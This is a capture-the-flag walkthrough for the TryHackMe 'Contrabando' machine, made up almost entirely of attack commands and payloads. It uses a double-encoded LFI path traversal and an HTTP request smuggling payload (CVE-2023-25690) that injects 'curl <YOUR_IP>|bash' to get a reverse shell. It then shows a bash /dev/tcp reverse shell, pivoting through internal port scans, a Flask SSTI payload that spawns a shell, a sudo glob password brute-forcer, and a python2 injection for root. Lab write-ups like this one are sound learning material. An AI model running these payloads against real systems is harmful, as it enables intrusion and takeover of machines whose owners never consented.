1. Setup & Target Configuration
Before starting, add the target IP and hostname into /etc/hosts to simplify requests.
echo "10.10.136.151 contrabando.thm" | sudo tee -a /etc/hosts
This ensures that requests to contrabando.thm resolve correctly.
2. Nmap Scan and Service Enumeration
Run a full aggressive port scan to enumerate all services and versions.
sudo nmap -p- -sCV --min-rate 10000 -v contrabando.thm
Key results:
SSH 22/tcp — OpenSSH 8.2p1 Ubuntu
HTTP 80/tcp — Apache 2.4.55 (Unix)
We’ll begin by focusing on the web service.
3. Directory/File Enumeration: Custom Python Scanner
Normal tools like gobuster or feroxbuster struggle with soft-404 filtering on this host.
To bypass this, a custom Python directory scanner (pythn-dir-scan.py) was written.
Python Script: pythn-dir-scan.py
#!/usr/bin/env python3
import sys, re, uuid, html
import concurrent.futures as cf
from collections import Counter
from urllib.parse import urlparse, urlunparse, unquote
import requests
import difflib
WORDLIST = [
"index.php", "gen.php", "config.php", "login.php", "admin.php",
"upload.php", "dashboard.php", "api.php", "home.php", "readme.txt",
"robots.txt", "config.inc.php", "db.php", "backup.zip", "backup.sql",
"composer.json", "server-status", "test.php", "phpinfo.php", "assets/"
]
GOOD_CODES = {200, 204, 301, 302, 307, 308, 401, 403}
SIM_THRESHOLD = 0.96
SIZE_JITTER_BYTES = 48
MAJORITY_SIZE_RATIO = 0.60
def normalize_base(url: str) -> str:
u = url.strip()
if not u:
raise ValueError("Empty URL.")
parsed = urlparse(u if "://" in u else "http://" + u)
path = parsed.path if parsed.path.endswith("/") else (parsed.path + "/")
return urlunparse((parsed.scheme, parsed.netloc, path, "", "", ""))
def fetch(session: requests.Session, url: str, timeout: float = 7.0):
r = session.get(url, timeout=timeout, allow_redirects=False)
length = r.headers.get("Content-Length")
size = int(length) if (length and length.isdigit()) else len(r.content)
return r.status_code, size, r.text, r.headers
def strip_html(text: str) -> str:
text = re.sub(r"(?is)<script.*?>.*?</script>", "", text)
text = re.sub(r"(?is)<style.*?>.*?</style>", "", text)
text = re.sub(r"(?is)<[^>]+>", " ", text)
text = html.unescape(text)
text = re.sub(r"\s+", " ", text).strip().lower()
return text
def remove_path_echoes(text: str, word: str, token: str) -> str:
candidates = {word, unquote(word), html.unescape(word)}
candidates |= {token, unquote(token), html.unescape(token)}
if word.endswith('/'):
candidates.add(word[:-1])
patt = re.compile("|".join(re.escape(c) for c in candidates if c), flags=re.IGNORECASE)
return patt.sub("", text)
def compare_path_aware(body_a: str, body_b: str, word: str, token: str) -> float:
a = strip_html(remove_path_echoes(body_a, word, token))
b = strip_html(remove_path_echoes(body_b, word, token))
return difflib.SequenceMatcher(a=a, b=b).ratio()
def control_miss_url(base: str, length: int) -> str:
tok = uuid.uuid4().hex
if length <= len(tok):
tok = tok[:length]
else:
tok = (tok * ((length // len(tok)) + 1))[:length]
return base + tok, tok
def main():
try:
base = input("Base URL/path (e.g., http://contrabando.thm/page/): ").strip()
base = normalize_base(base)
except Exception as e:
print(f"[!] Invalid URL: {e}")
sys.exit(1)
session = requests.Session()
session.headers.update({"User-Agent": "dirscan/2.0 (path-aware soft404)"})
targets = [base + word for word in WORDLIST]
results = []
print(f"[i] Scanning {len(targets)} paths under: {base}")
with cf.ThreadPoolExecutor(max_workers=14) as ex:
futs = {ex.submit(fetch, session, url): (url, word) for word, url in zip(WORDLIST, targets)}
for fut in cf.as_completed(futs):
url, word = futs[fut]
try:
code, size, text, hdrs = fut.result()
except requests.RequestException:
code, size, text = None, 0, ""
results.append((word, url, code, size, text))
size_counts = Counter(size for _, _, code, size, _ in results if code in GOOD_CODES)
total_good = sum(size_counts.values())
majority_sizes = set()
if total_good:
size, count = size_counts.most_common(1)[0]
if count / total_good >= MAJORITY_SIZE_RATIO:
majority_sizes.add(size)
hits = []
for word, url, code, size, text in results:
if code not in GOOD_CODES:
continue
if majority_sizes and size in majority_sizes:
pass
ctrl_url, token = control_miss_url(base, len(word))
try:
c_code, c_size, c_text, _ = fetch(session, ctrl_url)
except requests.RequestException:
c_code, c_size, c_text = None, 0, ""
if c_code and code in {401, 403} and c_code == 200:
hits.append((code, size, url))
print(f"[+] {code:<3} {size:>6}B {url} (auth/forbidden)")
continue
sim = compare_path_aware(text, c_text, word, token)
size_close = abs(size - c_size) <= SIZE_JITTER_BYTES
looks_soft = (sim >= SIM_THRESHOLD) and size_close
if looks_soft:
continue
hits.append((code, size, url))
print(f"[+] {code:<3} {size:>6}B {url}")
if not hits:
print("[i] No non–soft-404 hits after path-aware filtering.")
else:
print("\n[i] Summary of hits (filtered):")
for code, size, url in sorted(hits, key=lambda x: (x[0], x[1], x[2])):
print(f" {code:<3} {size:>6}B {url}")
if __name__ == "__main__":
main()
This scanner allowed bypassing soft-404 pages and correctly identifying real files.
Discovered valid files:
/page/index.php → vulnerable to LFI

/page/gen.php → vulnerable to command injection

4. LFI Bypass and Exploitation with Double URL Encoding
To exploit Local File Inclusion (LFI), use double URL encoding (..%252f).
curl --path-as-is "http://contrabando.thm/page/..%252f..%252f..%252f..%252f..%252f/etc/passwd"

This dumps /etc/passwd successfully.
5. Exploiting HTTP Request Smuggling (CVE-2023-25690)
Setup reverse shell listener:
nc -lvnp 4444
printf '/bin/bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1\n' > shell.sh
python3 -m http.server 80
Trigger the request smuggling payload:
curl --path-as-is "http://contrabando.thm/page/\
test%20HTTP/1.1%0D%0AHost:%20localhost%0D%0A%0D%0A\
POST%20/gen.php%20HTTP/1.1%0D%0AHost:%20localhost%0D%0A\
Content-Type:%20application/x-www-form-urlencoded%0D%0A\
Content-Length:%2031%0D%0A%0D%0Alength=;curl%20<YOUR_IP>%7Cbash;%0D%0A%0D%0A\
GET%20/test"
This grants a reverse shell as www-data inside a container.
6. Pivot to Host - Discover Internal Services
From the container shell, identify the host IP:
HOST=$(awk '$2=="00000000"{printf "%d.%d.%d.%d\n","0x"substr($3,7,2),"0x"substr($3,5,2),"0x"substr($3,3,2),"0x"substr($3,1,2); exit}' /proc/net/route)
echo "$HOST"
Scan internal services:
for p in 80 8080 5000 3000 443; do
code=$(curl -s -m 1 -o /dev/null -w "%{http_code}" "http://$HOST:$p/")
[ "$code" != "000" ] && echo "reachable $p (HTTP $code)" || echo "no HTTP $p"
done
Port 5000 runs a vulnerable Flask app.
7. Exploit Flask SSTI
Step 1: Confirm SSTI
printf '{{7*7}}' > poc
python3 -m http.server 80
curl -s -X POST "http://$HOST:5000/" -d "website_url=http://<YOUR_IP>/poc" | grep -o 49 || echo "no 49"
Step 2: Reverse Shell Payload
printf '{{ self.__init__.__globals__.__builtins__.__import__("os").popen("bash -c \"bash -i >& /dev/tcp/<YOUR_IP>/5555 0>&1\"").read() }}' > template
curl -X POST "http://$HOST:5000/" -d "website_url=http://<YOUR_IP>/template"
Start listener:
nc -lvnp 5555
This gives shell as hansolo.
8. Capture User Flag
cat hansolo_userflag.txt
9. Privilege Escalation: Vault Script Bypass & Password Brute-Force
Check sudo:
sudo -l
The vault script is vulnerable to glob matching. Use brute-force Python:
import subprocess
import string
charset = string.ascii_letters + string.digits
password = ""
while True:
found = False
for char in charset:
attempt = password + char + "*"
print(f"\r[+] Password: {password+char}", end="")
proc = subprocess.Popen(
["sudo", "/usr/bin/bash", "/usr/bin/vault"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
stdout, stderr = proc.communicate(input=attempt + "\n")
if "Password matched!" in stdout:
password += char
found = True
break
if not found:
break
print(f"\r[+] Final Password: {password}")
This brute-forces the vault password.
Now login as hansolo with discovered password:
ssh [email protected]
[email protected]'s password:
10. Privilege Escalation: Python2 RCE Root Shell
Run the vulnerable app:
sudo /usr/bin/python2 /opt/generator/app.py
When prompted, inject Python RCE:
__import__("os").system("bash")
Now root shell:
id
uid=0(root) gid=0(root) groups=0(root)
11. Capture Root Flag
cat /root/root.txt
✅ Completed: Contrabando Machine (TryHackMe)
This machine demonstrated:
Advanced enumeration with custom Python tools
Double URL encoding LFI
HTTP Request Smuggling (CVE-2023-25690)
Pivoting and Flask SSTI exploitation
Privilege escalation via custom brute-forcing and Python2 RCE

